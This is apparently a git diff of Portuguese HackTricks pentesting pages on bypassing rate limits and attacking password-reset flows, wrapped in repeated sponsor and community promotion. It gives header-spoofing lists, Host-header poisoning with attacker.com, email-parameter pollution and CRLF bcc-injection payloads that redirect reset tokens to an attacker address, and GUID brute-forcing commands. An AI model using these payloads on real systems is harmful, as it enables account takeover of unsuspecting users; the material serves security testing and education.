||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**merchandising oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, alimentados pelas **ferramentas comunitárias mais avançadas**.\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias **mais avançadas** do mundo.\
|
||||
Obtenha Acesso Hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
|||
|
|
@ -1,34 +1,36 @@
|
|||
# Bypassar Limite de Taxa
|
||||
# Bypass de Limite de Taxa
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias **mais avançadas** do mundo.\
|
||||
Obtenha Acesso Hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
### Usando endpoints similares
|
||||
### Usando endpoints semelhantes
|
||||
|
||||
Se você está atacando o endpoint `/api/v3/sign-up`, tente realizar um ataque de força bruta para `/Sing-up`, `/SignUp`, `/singup`...
|
||||
Se você está atacando o endpoint `/api/v3/sign-up`, tente realizar bruteforce em `/Sing-up`, `/SignUp`, `/singup`...
|
||||
|
||||
Também tente adicionar aos bytes do endpoint original coisas como `%00, %0d%0a, %0d, %0a, %09, %0C, %20`
|
||||
Tente também acrescentar ao endpoint original bytes como `%00, %0d%0a, %0d, %0a, %09, %0C, %20`
|
||||
|
||||
### Caracteres em branco no código/parâmetros
|
||||
### Caracteres em branco em código/parâmetros
|
||||
|
||||
Tente adicionar algum byte em branco como `%00, %0d%0a, %0d, %0a, %09, %0C, %20` no código e/ou parâmetros. Por exemplo, `code=1234%0a` ou se você estiver solicitando um código para um e-mail e só tiver 5 tentativas, use as 5 tentativas para `example@email.com`, depois para `example@email.com%0a`, depois para `example@email.com%0a%0a`, e assim por diante...
|
||||
Tente adicionar algum byte em branco como `%00, %0d%0a, %0d, %0a, %09, %0C, %20` ao código e/ou parâmetros. Por exemplo, `code=1234%0a` ou se você está solicitando um código para um email e só tem 5 tentativas, use as 5 tentativas para `example@email.com`, depois para `example@email.com%0a`, em seguida para `example@email.com%0a%0a`, e continue...
|
||||
|
||||
### Alterando a origem do IP usando cabeçalhos
|
||||
```bash
|
||||
|
|
@ -45,36 +47,38 @@ X-Forwared-Host: 127.0.0.1
|
|||
X-Forwarded-For:
|
||||
X-Forwarded-For: 127.0.0.1
|
||||
```
|
||||
Se eles estão limitando a 10 tentativas por IP, a cada 10 tentativas altere o IP no cabeçalho.
|
||||
Se estiverem limitando a 10 tentativas por IP, a cada 10 tentativas mude o IP dentro do cabeçalho.
|
||||
|
||||
### Altere outros cabeçalhos
|
||||
### Mudar outros cabeçalhos
|
||||
|
||||
Tente alterar o user-agent, os cookies... qualquer coisa que possa identificá-lo.
|
||||
Tente mudar o user-agent, os cookies... qualquer coisa que possa identificar você.
|
||||
|
||||
### Adicione parâmetros extras ao caminho
|
||||
### Adicionando parâmetros extras ao caminho
|
||||
|
||||
Se o limite estiver no caminho `/resetpwd`, tente forçar esse caminho e, uma vez atingido o limite de taxa, tente `/resetpwd?someparam=1`.
|
||||
Se o limite estiver no caminho `/resetpwd`, tente forçar bruta nesse caminho, e uma vez que o limite de taxa seja atingido, tente `/resetpwd?someparam=1`
|
||||
|
||||
### Faça login na sua conta antes de cada tentativa
|
||||
### Entrar na sua conta antes de cada tentativa
|
||||
|
||||
Talvez se você **fizer login na sua conta antes de cada tentativa** (ou a cada conjunto de X tentativas), o limite de taxa seja reiniciado. Se você estiver atacando uma funcionalidade de login, você pode fazer isso no Burp usando um ataque Pitchfork **configurando suas credenciais a cada X tentativas** (e marcando seguir redirecionamentos).
|
||||
Talvez se você **entrar na sua conta antes de cada tentativa** (ou a cada conjunto de X tentativas), o limite de taxa seja reiniciado. Se você estiver atacando uma funcionalidade de login, você pode fazer isso no burp usando um ataque Pitchfork em **configurando suas credenciais a cada X tentativas** (e marcando seguir redirecionamentos).
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, usando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, com as ferramentas comunitárias **mais avançadas** do mundo.\
|
||||
Obtenha Acesso Hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
|||
|
|
@ -1,54 +1,54 @@
|
|||
# Bypass de Redefinição/Esquecimento de Senha
|
||||
# Bypass de Senha Reset/Esquecida
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof é o lar de todas as recompensas por bugs de criptografia.**
|
||||
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
|
||||
|
||||
**Seja recompensado sem atrasos**\
|
||||
As recompensas do HackenProof são lançadas apenas quando os clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug.
|
||||
**Insights de Hacking**\
|
||||
Engaje-se com conteúdo que explora a emoção e os desafios do hacking
|
||||
|
||||
**Adquira experiência em pentesting web3**\
|
||||
Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.
|
||||
**Notícias de Hacking em Tempo Real**\
|
||||
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
|
||||
|
||||
**Torne-se a lenda do hacker web3**\
|
||||
Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal.
|
||||
**Últimos Anúncios**\
|
||||
Fique informado sobre os mais novos bounties de bugs lançados e atualizações cruciais da plataforma
|
||||
|
||||
[**Cadastre-se no HackenProof**](https://hackenproof.com/register) comece a ganhar com seus hacks!
|
||||
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje mesmo!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
A seguinte compilação de técnicas foi retirada de [https://anugrahsr.github.io/posts/10-Password-reset-flaws/](https://anugrahsr.github.io/posts/10-Password-reset-flaws/)
|
||||
|
||||
As seguintes técnicas de recomposição foram retiradas de [https://anugrahsr.github.io/posts/10-Password-reset-flaws/](https://anugrahsr.github.io/posts/10-Password-reset-flaws/)
|
||||
## Vazamento do Token de Reset de Senha Via Referer
|
||||
|
||||
## Vazamento de Token de Redefinição de Senha via Referer
|
||||
|
||||
O **referer HTTP** é um campo de cabeçalho HTTP opcional que identifica o endereço da página da web que está vinculada ao recurso solicitado. O cabeçalho de solicitação Referer contém o endereço da página da web anterior a partir da qual um link para a página atualmente solicitada foi seguido.
|
||||
O **HTTP referer** é um campo opcional do cabeçalho HTTP que identifica o endereço da página da web que está vinculada ao recurso que está sendo solicitado. O cabeçalho de requisição Referer contém o endereço da página web anterior de onde foi seguido um link para a página atualmente solicitada.
|
||||
|
||||
|
||||
|
||||
### Exploração
|
||||
|
||||
* Solicite a redefinição de senha para o seu endereço de e-mail
|
||||
* Clique no link de redefinição de senha
|
||||
* Solicite o reset de senha para o seu endereço de e-mail
|
||||
* Clique no link de reset de senha
|
||||
* Não altere a senha
|
||||
* Clique em qualquer site de terceiros (por exemplo: Facebook, Twitter)
|
||||
* Interceptar a solicitação no proxy Burpsuite
|
||||
* Verifique se o cabeçalho referer está vazando o token de redefinição de senha.
|
||||
* Clique em qualquer site de terceiros (ex: Facebook, Twitter)
|
||||
* Intercepte a requisição no proxy do Burpsuite
|
||||
* Verifique se o cabeçalho referer está vazando o token de reset de senha.
|
||||
|
||||
### Impacto
|
||||
|
||||
Isso permite que a pessoa que tem controle sobre um determinado site altere a senha do usuário (ataque CSRF), porque essa pessoa conhece o token de redefinição de senha do usuário.
|
||||
Permite que a pessoa que tem controle de um site específico altere a senha do usuário (ataque CSRF), porque essa pessoa conhece o token de reset de senha do usuário.
|
||||
|
||||
### Referência:
|
||||
|
||||
|
|
@ -58,15 +58,15 @@ Isso permite que a pessoa que tem controle sobre um determinado site altere a se
|
|||
* https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a
|
||||
* https://medium.com/@shahjerry33/password-reset-token-leak-via-referrer-2e622500c2c1
|
||||
|
||||
## Envenenamento de Redefinição de Senha
|
||||
## Envenenamento de Reset de Senha
|
||||
|
||||
Se você encontrar um ataque de cabeçalho de host e estiver fora do escopo, tente encontrar o botão de redefinição de senha!
|
||||
Se você encontrar um ataque ao cabeçalho do host e ele estiver fora do escopo, tente encontrar o botão de reset de senha!
|
||||
|
||||
|
||||
|
||||
### Exploração
|
||||
|
||||
* Interceptar a solicitação de redefinição de senha no Burpsuite
|
||||
* Intercepte a requisição de reset de senha no Burpsuite
|
||||
* Adicione o seguinte cabeçalho ou edite o cabeçalho no Burpsuite (tente um por um)
|
||||
```
|
||||
Host: attacker.com
|
||||
|
|
@ -91,7 +91,7 @@ $resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=12
|
|||
```
|
||||
### Impacto
|
||||
|
||||
A vítima receberá o link malicioso em seu e-mail e, ao clicar nele, irá vazar o link / token de redefinição de senha do usuário para o atacante, resultando na tomada completa da conta.
|
||||
A vítima receberá o link malicioso em seu e-mail e, ao clicar, irá vazar o link/token de redefinição de senha do usuário para o atacante, levando à tomada total da conta.
|
||||
|
||||
### Referência:
|
||||
|
||||
|
|
@ -101,29 +101,29 @@ A vítima receberá o link malicioso em seu e-mail e, ao clicar nele, irá vazar
|
|||
* https://pethuraj.com/blog/how-i-earned-800-for-host-header-injection-vulnerability/
|
||||
* https://medium.com/@swapmaurya20/password-reset-poisoning-leading-to-account-takeover-f178f5f1de87
|
||||
|
||||
## Redefinição de Senha Manipulando o Parâmetro de E-mail
|
||||
## Redefinição de Senha Manipulando o Parâmetro de Email
|
||||
|
||||
### Exploração
|
||||
|
||||
* Adicione o e-mail do atacante como segundo parâmetro usando &
|
||||
* Adicionar e-mail do atacante como segundo parâmetro usando &
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com&email=attacker@email.com
|
||||
```
|
||||
* Adicione o email do atacante como segundo parâmetro usando %20
|
||||
* Adicione o e-mail do atacante como segundo parâmetro usando %20
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com%20email=attacker@email.com
|
||||
```
|
||||
* Adicione o email do atacante como segundo parâmetro usando |
|
||||
* Adicione o e-mail do atacante como segundo parâmetro usando |
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com|email=attacker@email.com
|
||||
```
|
||||
* Adicione o email do atacante como segundo parâmetro usando cc
|
||||
* Adicione o e-mail do atacante como segundo parâmetro usando cc
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
|
|
@ -135,13 +135,13 @@ POST /resetPassword
|
|||
[...]
|
||||
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
||||
```
|
||||
* Adicione o email do atacante como segundo parâmetro usando ,
|
||||
* Adicione o e-mail do atacante como segundo parâmetro usando ,
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld",email="attacker@mail.tld"
|
||||
```
|
||||
* Adicione o email do atacante como segundo parâmetro no array json
|
||||
* Adicione o e-mail do atacante como segundo parâmetro no array json
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
|
|
@ -153,13 +153,13 @@ POST /resetPassword
|
|||
* https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/
|
||||
* https://twitter.com/HusseiN98D/status/1254888748216655872
|
||||
|
||||
## Alterando o Email e a Senha de qualquer Usuário através dos Parâmetros da API
|
||||
## Alterando o Email e Senha de qualquer Usuário através de Parâmetros da API
|
||||
|
||||
### Exploração
|
||||
|
||||
* O atacante deve fazer login em sua conta e ir para a função de alteração de senha
|
||||
* Inicie o Burp Suite e intercepte a solicitação
|
||||
* Após interceptar a solicitação, envie-a para o repetidor e modifique os parâmetros Email e Password
|
||||
* O atacante deve fazer login com sua conta e acessar a função de Mudar senha
|
||||
* Iniciar o Burp Suite e Intercept a requisição
|
||||
* Após interceptar a requisição, enviá-la para o repetidor e modificar os parâmetros Email e Senha
|
||||
```php
|
||||
POST /api/changepass
|
||||
[...]
|
||||
|
|
@ -169,33 +169,33 @@ POST /api/changepass
|
|||
|
||||
* https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240
|
||||
|
||||
### Sem limite de taxa: Bombardeio de e-mails <a href="#5-no-rate-limiting-email-bombing" id="5-no-rate-limiting-email-bombing"></a>
|
||||
### Sem Limitação de Taxa: Bombardeio de Email <a href="#5-no-rate-limiting-email-bombing" id="5-no-rate-limiting-email-bombing"></a>
|
||||
|
||||
### Exploração
|
||||
|
||||
* Inicie o Burp Suite e intercepte a solicitação de redefinição de senha
|
||||
* Envie para o intruder
|
||||
* Use uma carga nula
|
||||
* Inicie o Burp Suite e Intercepte a solicitação de redefinição de senha
|
||||
* Envie para o intruso
|
||||
* Use carga útil nula
|
||||
|
||||
### Referência
|
||||
|
||||
* https://hackerone.com/reports/280534
|
||||
* https://hackerone.com/reports/794395
|
||||
|
||||
## Descubra como o Token de Redefinição de Senha é Gerado
|
||||
## Descubra Como o Token de Redefinição de Senha é Gerado
|
||||
|
||||
Descubra o padrão do token de redefinição de senha
|
||||
|
||||
|
||||
|
||||
Se for
|
||||
Se ele
|
||||
|
||||
* Gerado com base no timestamp
|
||||
* Gerado com base no ID do usuário
|
||||
* Gerado com base no e-mail do usuário
|
||||
* Gerado com base no nome e sobrenome
|
||||
* Gerado com base na data de nascimento
|
||||
* Gerado com base em criptografia
|
||||
* Gerado com base no Timestamp
|
||||
* Gerado com base no UserID
|
||||
* Gerado com base no email do Usuário
|
||||
* Gerado com base no Primeiro e Último nome
|
||||
* Gerado com base na Data de Nascimento
|
||||
* Gerado com base em Criptografia
|
||||
|
||||
Use o Burp Sequencer para encontrar a aleatoriedade ou previsibilidade dos tokens.
|
||||
|
||||
|
|
@ -205,14 +205,14 @@ Existem diferentes tipos de GUIDs:
|
|||
|
||||
* **Versão 0:** Apenas visto no GUID nulo ("00000000-0000-0000-0000-000000000000").
|
||||
* **Versão 1:** O GUID é gerado de maneira previsível com base em:
|
||||
* O horário atual
|
||||
* O momento atual
|
||||
* Uma "sequência de relógio" gerada aleatoriamente que permanece constante entre os GUIDs durante o tempo de atividade do sistema gerador
|
||||
* Um "ID de nó", que é gerado com base no endereço MAC do sistema, se estiver disponível
|
||||
* Um "ID de nó", que é gerado com base no endereço MAC do sistema, se disponível
|
||||
* **Versão 3:** O GUID é gerado usando um hash MD5 de um nome e namespace fornecidos.
|
||||
* **Versão 4:** O GUID é gerado aleatoriamente.
|
||||
* **Versão 5:** O GUID é gerado usando um hash SHA1 de um nome e namespace fornecidos.
|
||||
|
||||
É possível dar uma olhada em um GUID e descobrir sua versão, há uma pequena ferramenta para isso: [**guidtool**](https://github.com/intruder-io/guidtool)\*\*\*\*
|
||||
É possível olhar para um GUID e descobrir sua versão, existe uma pequena ferramenta para isso: [**guidtool**](https://github.com/intruder-io/guidtool)****
|
||||
```http
|
||||
guidtool -i 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c
|
||||
UUID version: 1
|
||||
|
|
@ -222,7 +222,7 @@ UUID node: 17547390002044
|
|||
UUID MAC address: 0f:f5:91:f2:a3:7c
|
||||
UUID clock sequence: 3426
|
||||
```
|
||||
Se a versão utilizada para gerar um GUID de redefinição de senha for a versão 1, é possível realizar um ataque de força bruta nos GUIDs:
|
||||
Se a versão utilizada para gerar um GUID de redefinição de senha for a versão 1, é possível forçar bruta dos GUIDS:
|
||||
```http
|
||||
guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
|
||||
a34aca00-47d0-11ec-8d62-0ff591f2a37c
|
||||
|
|
@ -232,45 +232,21 @@ a34af110-47d0-11ec-8d62-0ff591f2a37c
|
|||
|
||||
* [https://www.intruder.io/research/in-guid-we-trust](https://www.intruder.io/research/in-guid-we-trust)
|
||||
|
||||
## Manipulação de resposta: Substituir uma resposta ruim por uma boa
|
||||
## Manipulação de resposta: Substituir resposta ruim por uma boa
|
||||
|
||||
Procure por solicitações e respostas como estas
|
||||
Procure por Requisição e Resposta como estas
|
||||
```php
|
||||
HTTP/1.1 401 Unauthorized
|
||||
(“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”)
|
||||
```
|
||||
# Redefinir Senha
|
||||
|
||||
Quando um usuário esquece sua senha, é importante fornecer um mecanismo seguro para redefini-la. No entanto, se esse mecanismo não for implementado corretamente, pode abrir brechas de segurança que podem ser exploradas por hackers.
|
||||
|
||||
## Verificação de E-mail
|
||||
|
||||
Uma abordagem comum para redefinir senhas é enviar um e-mail para o endereço associado à conta do usuário. Esse e-mail geralmente contém um link exclusivo que permite ao usuário redefinir sua senha.
|
||||
|
||||
